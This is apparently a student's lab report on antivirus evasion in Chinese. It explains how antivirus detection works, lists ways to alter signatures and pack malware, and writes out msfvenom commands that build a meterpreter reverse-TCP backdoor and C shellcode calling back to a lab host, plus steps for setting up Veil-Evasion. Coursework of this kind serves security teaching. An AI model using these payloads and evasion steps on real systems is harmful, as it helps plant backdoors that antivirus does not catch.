2017-2018-2 20179225 《網絡攻防與實踐》 第13周作業
實踐內容
(1)理解免殺技術原理
(2)正確使用msf編碼器,veil-evasion,自己利用shellcode編程等免殺工具或技巧;
(成功實現了免殺的。如何做成功的簡單語言描述即可,不要截圖、指令。與殺軟共生的結果驗證要截圖。)
(3)通過組合應用各種技術實現惡意代碼免殺
(4)用另一電腦實測,在殺軟開啟的情況下,可運行並回連成功,註明電腦的殺軟名稱與版本
1 基礎問題回答
1.1 殺軟是如何檢測出惡意代碼的?
基於特征碼檢測
特征碼為能識別一個程序是一個病毒的一段不大於64字節的特征串,每個程序都會有一段特征碼,或者說是一段數據。對惡意代碼的特征碼進行匹配,匹配到即為惡意代碼。
啟發式惡意軟件檢測
殺毒軟件檢測某個程序在系統中做的事情,是不是惡意代碼做的事情。以此來判斷是不是惡意代碼
基於行為的惡意軟件檢測
根據該代碼是否有惡意行為來判別,若有惡意的行為,我們就認為該代碼是惡意代碼。其也是啟發式的一種,可以理解為加了監控模式的啟發式檢測
1.2 免殺是做什麽?
文件免殺和查殺:不運行程序用殺毒軟件進行對該程序的掃描,所得結果。
內存的免殺和查殺:判斷的方法1)運行後,用殺毒軟件的內存查殺功能.
2)用OD載入,用殺毒軟件的內存查殺功能
免殺是計算機惡意代碼防止被反病毒軟件發現並隔離刪除的一種技術,通常為對惡意代碼進行一些隱藏、包裝等操作。使殺軟不能殺這個病毒,木馬 。
1.3 免殺的基本方法有哪些?
給病毒,木馬加殼,加花,修改特征碼
目前流行的特征碼修改方法作個總節。
方法一:直接修改特征碼的十六進制法
1.修改方法:把特征碼所對應的十六進制改成數字差1或差不多的十六進制.
2.適用範圍:一定要精確定位特征碼所對應的十六進制,修改後一定要測試一下能否正常使用.
方法二:修改字符串大小寫法
1.修改方法:把特征碼所對應的內容是字符串的,只要把大小字互換一下就可以了.
2.適用範圍:特征碼所對應的內容必需是字符串,否則不能成功.
方法三:等價替換法
1.修改方法:把特征碼所對應的匯編指令命令中替換成功能類擬的指令.
2.適用範圍:特征碼中必需有可以替換的匯編指令.比如JN,JNE 換成JMP等.
如果和我一樣對匯編不懂的可以去查查8080匯編手冊.
方法四:指令順序調換法
1.修改方法:把具有特征碼的代碼順序互換一下.
2.適用範圍:具有一定的局限性,代碼互換後要不能影響程序的正常執行
方法五:通用跳轉法
1.修改方法:把特征碼移到零區域(指代碼的空隙處),然後一個JMP又跳回來執行.
2.適用範圍:沒有什麽條件,是通用的改法,強烈建議大家要掌握這種改法.
木馬免殺的綜合修改方法
文件免殺方法:
1.加冷門殼
2.加花指令
3.改程序入口點
4.改木馬文件特征碼的5種常用方法
5.還有其它的幾種免殺修改技巧
內存免殺方法:
修改內存特征碼:
方法1>直接修改特征碼的十六進制法
方法2>修改字符串大小寫法
方法3>等價替換法
方法4>指令順序調換法
方法5>通用跳轉法
實踐過程
實驗環境
靶機:
系統:WindowsXP
殺軟:金山毒霸 11.9.0
攻擊機:
Kali 虛擬機的IP
下載veil-evasion,輸入指令
sudo apt-get install veil-evasion
利用上次實驗的後門程序,用msf對其進行編碼:
Msfvenom是Metasploit平臺下用來編碼payloads免殺的工具
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.110 LPORT=1120 -f exe > 20179225_backdoor.exe
將其上傳到https://www.virustotal.com/ http://www.virscan.org/掃描時出現不合理字符然後將20179225_去掉成功掃描
使用Veil-Evasion
Veil-Evasion是一個免殺平臺,與Metasploit有點類似,在Kalil軟件庫中有,但默認沒裝。免殺效果比較好。官網上有視頻教程。
在開始我們已經安裝過了
輸入veil-evasion
顯示未找到命令,重新進行安裝。
更新源安裝:
echo "deb http://http.kali.org/kali kali-rolling main contrib non-free" >> /etc/apt/sources.list
apt-get update
apt-get install veil-evasion
git克隆安裝:
git clone https://github.com/Veil-Framework/Veil-Evasion.git
cd Veil-Evasion/setup
./install-addons.sh
經過漫長時間終於克隆成功
但是依然顯示veil-evasion
無奈之下嘗試veil
可能由於網絡的原因,花費一天的時間終於將veil安裝成功。
命令行中輸入veil
,後在veil中輸入命令use evasion
,設置payload使用命令use python/meterpreter/rev_tcp.py
利用shellcode編程實現免殺
在Kali上使用命令生成一個c語言格式的Shellcode數組。
輸入命令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.110 LPORT=1120 -f c
2017-2018-2 20179225 《網絡攻防與實踐》 第13周作業